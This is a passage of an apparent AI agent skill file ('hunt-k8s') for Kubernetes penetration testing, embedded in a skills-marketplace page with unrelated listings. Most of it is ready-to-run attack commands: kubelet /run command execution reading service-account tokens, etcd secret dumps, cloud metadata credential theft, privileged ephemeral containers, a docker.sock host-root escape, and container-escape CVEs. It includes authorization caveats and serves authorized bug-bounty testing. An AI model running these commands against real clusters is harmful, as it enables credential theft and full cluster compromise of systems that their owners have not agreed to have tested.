`\u002Fmetrics`, NO exec\u002Frun. 10250 (HTTPS) is where `\u002Frun` and `\u002Fexec` live. Do not report \"kubelet RCE\" off a 10255 hit.\n- **Blind\u002Foutbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator \u002F interactsh subdomain (e.g. `curl http:\u002F\u002F\u003Ctoken>.\u003Ccollab>` from inside the pod via `\u002Frun`). A delayed response or an echoed URL is NOT proof.\n- **Impact proof = the artifact.** For exec: the literal `id`\u002F`hostname` output. For etcd\u002FSecret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`\u002Fetc\u002Fhostname` of the node, distinct from the container's).\n- Use a **dedicated test namespace \u002F test pod** when you have create rights; never exec into production workloads to \"prove\" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common Kubernetes \u002F container ports\nPORTS=\"443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010\"\nnmap -sV -p $PORTS $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# API server fingerprint — the \u002Fversion endpoint is anonymous on most clusters\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fversion\"        # {\"major\":\"1\",\"minor\":\"29\",\"gitVersion\":\"v1.29.x\"...}\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fapi\"             # APIVersions list, even pre-auth\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fhealthz\"\n\n# Cloud metadata pivot (reach K8s SA \u002F node creds from an SSRF foothold)\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" # AWS EKS (IMDSv1)\nTOK=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\") # IMDSv2\ncurl -s -H \"X-aws-ec2-metadata-token: $TOK\" \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\" -H \"Metadata: true\"      # Azure AKS\ncurl -s \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" -H \"Metadata-Flavor: Google\" # GKE\n```\nNote the `gitVersion` — it gates every CVE below.\n\n---\n\n## Phase 2 — Kubernetes API Anonymous \u002F Low-Priv Access\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"\n\n# 1. What am I? (anonymous → \"system:anonymous\")\ncurl -sk \"$SRV\u002Fapis\u002Fauthentication.k8s.io\u002Fv1\u002Fselfsubjectreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"apiVersion\":\"authentication.k8s.io\u002Fv1\",\"kind\":\"SelfSubjectReview\"}'\n\n# 2. What can I actually DO? (the only honest privilege check)\ncurl -sk \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io\u002Fv1\",\"spec\":{\"namespace\":\"default\"}}'\n\n# 3. Targeted access check for the crown-jewel verbs\nfor R in secrets pods nodes\u002Fproxy pods\u002Fexec; do\n  curl -sk \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectaccessreviews\" -X POST \\\n   -H 'Content-Type: application\u002Fjson' \\\n   -d \"{\\\"kind\\\":\\\"SelfSubjectAccessReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"resourceAttributes\\\":{\\\"verb\\\":\\\"create\\\",\\\"resource\\\":\\\"${R%%\u002F*}\\\",\\\"subresource\\\":\\\"${R#*\u002F}\\\"}}}\" \\\n   | grep -o '\"allowed\":[a-z]*' | sed \"s#^#$R #\"\ndone\n\n# 4. Only if access review says allowed — read a real Secret to prove impact\ncurl -sk \"$SRV\u002Fapi\u002Fv1\u002Fsecrets\" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"items\",[])),\"secrets\")'\n# decode one value (redact before reporting):\n# echo '\u003Cbase64>' | base64 -d\n```\n\n**CVE-2018-1002105** (`gitVersion` \u003C v1.10.11\u002F1.11.5\u002F1.12.3): API-server proxy upgrade flaw lets an unauthenticated\u002Flow-priv user escalate to backend (kubelet\u002Faggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.\n\n---\n\n## Phase 3 — Kubelet (Port 10250) — `\u002Frun` First, `\u002Fexec` Done Right\n\nThe earlier version of this skill sent `\u002Fexec` as a plain `POST` and expected `id` output back. **That is wrong.** `\u002Fexec` is a SPDY\u002FWebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `\u002Fcri\u002Fexec\u002F\u003Ctoken>`) that you then must read with a SPDY\u002FWebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:10250\"\n\n# Enumerate pods (auth varies; many kubelets allow anonymous read here)\ncurl -sk \"$SRV\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull \\\n  | grep -E '\"namespace\"|\"name\"|\"containerName\"' | head -40\n\nNS=default; POD=target-pod; CTR=app\n\n# --- PRIMITIVE A: \u002Frun — returns command output DIRECTLY (no stream handling) ---\n# This is the simple correct primitive. Use this first.\ncurl -sk -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\ncurl -sk -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\"\n\n# --- PRIMITIVE B: \u002Fexec — SPDY\u002FWebSocket stream, NOT a plain POST ---\n# Option 1: kubeletctl handles the stream transport for you (recommended)\n#   kubeletctl --server $TARGET exec \"id\" -p $POD -c $CTR -n $NS\n#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod\n# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then\n#   read it with a SPDY3.1\u002FWebSocket client (wscat \u002F websocat), e.g.:\n#   curl -sk -i -X POST \"$SRV\u002Fexec\u002F$NS\u002F$POD\u002F$CTR?command=id&input=1&output=1&tty=0\"   # shows 302 Location\n#   websocat -k \"wss:\u002F\u002F$TARGET:10250\u002Fcri\u002Fexec\u002F\u003Ctoken-from-Location>\"\n\n# Container logs (read-only, no stream)\ncurl -sk \"$SRV\u002FcontainerLogs\u002F$NS\u002F$POD\u002F$CTR\"\n\n# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec\u002Frun. Do not call this \"RCE\".\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fmetrics\" | head\n```\n\n**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods\u002Fadjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet\u002Fetcd that were assumed loopback-only.\n\n---\n\n## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes\u002Fproxy`)\n\nWhen 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes\u002Fproxy`, route exec **through the API server**:\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"; H=\"-H \\\"Authorization: Bearer $TOKEN\\\"\"\nNODE=$(curl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\" | grep -o '\"name\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n\n# \u002Frun via the node proxy → output comes straight back\ncurl -sk -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\n\n# enumerate every pod on a node via the proxy\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Fpods\"\n```\n`nodes\u002Fproxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host\u002FIP it could reach (proxy-to-internal SSRF \u002F node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.\n\n---\n\n## Phase 4b — Ingress-NGINX \"IngressNightmare\" (CVE-2025-1974)\nAn unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (`\u002Fhealthz`, pod image tag) and map to \u003C1.11.5 \u002F \u003C1.12.1. (CVE-2025-1974 with CVE-2025-1097\u002F1098\u002F24513\u002F24514.)\n\n## Phase 5 — etcd Unauth (Port 2379)\n\n```bash\n# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 get \u002F --prefix --keys-only 2>\u002Fdev\u002Fnull | head -50\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 \\\n  get \u002Fregistry\u002Fsecrets --prefix 2>\u002Fdev\u002Fnull | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40\n\n# HTTP\u002FJSON gateway (key\u002Frange are base64; \"Lw==\" == \"\u002F\")\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv3\u002Fkv\u002Frange\" -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"key\":\"L3JlZ2lzdHJ5L3NlY3JldHM=\",\"range_end\":\"L3JlZ2lzdHJ5L3NlY3JldHQ=\",\"limit\":20}' | python3 -m json.tool\n\n# v2 (older clusters)\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv2\u002Fkeys\u002F?recursive=true\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\n```\nA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`\u002F`get` with key data is.\n\n---\n\n## Phase 6 — Service Account Token Abuse (Bound \u002F Projected Tokens)\n\n```bash\n# From RCE\u002FLFI inside a pod:\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPI=\"https:\u002F\u002Fkubernetes.default.svc\"\n\n# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.\necho \"$TOKEN\" | cut -d. -f2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | python3 -m json.tool \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n# Look at: \"aud\" (must match the API server audience to be accepted),\n#          \"exp\" (projected tokens rotate ~1h — a captured token may already be dead),\n#          \"kubernetes.io\u002Fserviceaccount\" (pod\u002Fnode binding — token dies with the pod).\n# If aud is e.g. [\"vault\"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.\n\n# Honest privilege check, then prove with a real read\ncurl -sk \"$API\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectRulesReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"namespace\\\":\\\"$NS\\\"}}\"\ncurl -sk \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\" -H \"Authorization: Bearer $TOKEN\"\n```\n\n**EphemeralContainers node-shell escalation:** with `pods\u002Fephemeralcontainers` (or pod `create`), attach a debug container that shares the host namespaces to escape the pod:\n```bash\nkubectl debug node\u002F$NODE -it --image=busybox      # mounts host root at \u002Fhost → chroot \u002Fhost\n# or patch an ephemeral container with hostPID\u002Fprivileged via the API:\ncurl -sk -X PATCH \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fpods\u002F$POD\u002Fephemeralcontainers\" \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fstrategic-merge-patch+json' \\\n  -d '{\"spec\":{\"ephemeralContainers\":[{\"name\":\"x\",\"image\":\"busybox\",\"command\":[\"sleep\",\"1d\"],\"securityContext\":{\"privileged\":true}}]}}'\n```\n\n---\n\n## Phase 7 — Docker Socket Exposure & runc Container Escape\n\n```bash\n# docker.sock reachable (SSRF unix:\u002F\u002F, LFI of socket, or RCE on host)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Finfo\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fjson\n\n# Privileged container bind-mounting host root → read\u002Fwrite host fs (host escape)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -H 'Content-Type: application\u002Fjson' \\\n  -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fcreate?name=poc \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"cat\",\"\u002Fhost\u002Fetc\u002Fhostname\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}'\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Fstart\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \"http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Flogs?stdout=1\"\n# Impact proof = the NODE's \u002Fetc\u002Fhostname (differs from the container's hostname).\n```\n\n**Container-escape CVEs (gate on runc\u002Fversion):**\n- **CVE-2024-21626 — \"Leaky Vessels\" (runc ≤ 1.1.11):** a leaked host file descriptor via `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` lets a malicious image (`WORKDIR \u002Fproc\u002Fself\u002Ffd\u002FN`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build\u002Fregistry surface where you can influence the Dockerfile.\n- **CVE-2019-5736 (runc):** overwrite the host `\u002Fproc\u002Fself\u002Fexe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.\n- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.\n\n---\n\n## Phase 8 — Dashboard, Admission, Helm\u002FTiller Remnants\n\n```bash\n# Kubernetes Dashboard — correct API base is \u002Fapi\u002Fv1\u002F... UNDER the dashboard service.\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002F\" | grep -i \"kubernetes dashboard\"\n# token-less probe (skip-login or anonymous-bound dashboard SA):\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fsecret\u002Fdefault\"            # secrets list view\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fpod\u002Fdefault\"               # pods list view\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fnamespace\"                 # namespaces\n# (paths are \u003Cresource> not \u003Cresource>\u002F\u003Cid>; a 200 with real items = unauth dashboard data access)\n\n# Helm 2 \u002F Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA\nnmap -p 44134 -sV $TARGET\n# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install\u002Fdelete any release\n\n# Validating\u002FMutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs\ncurl -sk \"$SRV\u002Fapis\u002Fadmissionregistration.k8s.io\u002Fv1\u002Fvalidatingwebhookconfigurations\" -H \"Authorization: Bearer $TOKEN\"\n# A webhook clientConfig.url pointing at an external\u002Fattacker-influenced host = SSRF\u002Fbypass surface.\n```\n\n---\n\n## Chain Table\n\n| K8s finding | Chain to | Impact |\n|-------------|----------|--------|\n| API anon **with confirmed secret read** | extract SA\u002FTLS\u002Fapp creds | Full cluster compromise |\n| `nodes\u002Fproxy` token | API-server-mediated `\u002Frun` → pod RCE → SA token | Node-wide RCE → escalation |\n| Kubelet 10250 `\u002Frun` | exec in any pod → steal SA token → API | Cluster privilege escalation |\n| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |\n| docker.sock | privileged container + host bind-mount | Host root |\n| CVE-2024-21626 (runc) | malicious image\u002Fexec → host FD escape | Container → host root |\n| EphemeralContainers \u002F pods create | privileged\u002FhostPID debug container | Pod → node escape |\n| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |\n| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |\n\n---\n\n## False-Positive Killers\n\n- **Anon `200` ≠ cluster-admin.** RBAC-filtered list returns `200`\u002Fempty `items`. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.\n- **10255 ≠ 10250.** Read-only kubelet has no exec\u002Frun. \"Kubelet RCE\" must come from a `\u002Frun` output or a completed `\u002Fexec` stream on 10250.\n- **`\u002Fexec` plain-POST returns 302, not output.** Seeing no body is NOT \"patched\" — follow the stream (kubeletctl\u002Fwebsocat) before concluding either way.\n- **Projected\u002Fbound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault\u002FOIDC-audience token will not authenticate to the API server.\n- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, Secret values in etcd are ciphertext — don't claim \"plaintext secrets\" without showing decoded bytes.\n- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) \u002F runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.\n- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `\u002Fapi\u002Fv1\u002F\u003Cresource>\u002F\u003Cns>` proves token-less data access.\n\n---\n\n## Validation Checklist\n\n- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).\n- [ ] **Kubelet:** literal `id`\u002F`hostname` output returned from 10250 `\u002Frun`, or a completed `\u002Fexec` stream — not a bare 302.\n- [ ] **nodes\u002Fproxy RCE:** command output returned through `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` with your token.\n- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.\n- [ ] **docker.sock \u002F escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.\n- [ ] **SA token:** `aud`\u002F`exp` decoded and shown valid; impact bounded to its real RBAC.\n- [ ] **OOB:** any outbound\u002FSSRF hop confirmed via Collaborator\u002Finteractsh subdomain.\n\n**Severity:**\n- API anon→secret read, kubelet\u002Fnodes-proxy RCE, etcd dump, docker.sock\u002Frunc escape, CVE-2018-1002105: **Critical**\n- Dashboard token-less data access, exposed Tiller: **High**\n- Read-only kubelet 10255, anon `\u002Fversion`\u002F`\u002Fpods` info disclosure: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":32,"source":51,"license":14,"sources":52,"category":43,"date_added":53,"description":7,"source_repo":54,"source_type":29,"report_count":55,"compatibility":56,"license_source":57},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, cve_database, kubernetes_security_research, portswigger_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",13,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-k8s","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":64,"prompt":74,"zipAvailable":75},[65,68,71],{"tool":66,"command":67},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-k8s",{"tool":69,"command":70},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-k8s",{"tool":72,"command":73},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-k8s","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-k8s\u002FSKILL.md",true,[],[78,99,123,147,173,197],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":85,"publishedAt":46},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[84],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[86,87,88,89,90,91,80,92,93,94,95,38,29,36,96,97,34,33,31,98],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":46},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[106,107,108,109,110,111,112,113,114,115,116,117,118,38,119,29,120,121,97,122],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":46},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[130,131,132,133,134,135,136,41,137,138,139,140,141,29,36,142,143,144,145,146],"transcript","youtube transcript","youtube","safe","github","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":162,"publishedAt":46},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[153,154,157],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":158,"categoryName":159,"taxonomyType":160,"taxonomyTypeDesc":161},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[130,131,132,163,133,164,134,135,41,165,166,167,168,139,169,29,36,170,171,172],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":183,"publishedAt":46},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[179,182],{"categoryNo":180,"categoryName":181,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":155,"categoryName":156,"taxonomyType":20,"taxonomyTypeDesc":21},[132,184,185,110,133,186,187,188,189,41,167,190,191,192,193,36,194,142,195,196],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":204,"publishedAt":46},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[203],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},[205,132,206,207,133,164,165,208,209,166,167,168,139,210,169,29,36,170,211,145],"youtube full","full","google","server","dlp","credits","automatic"]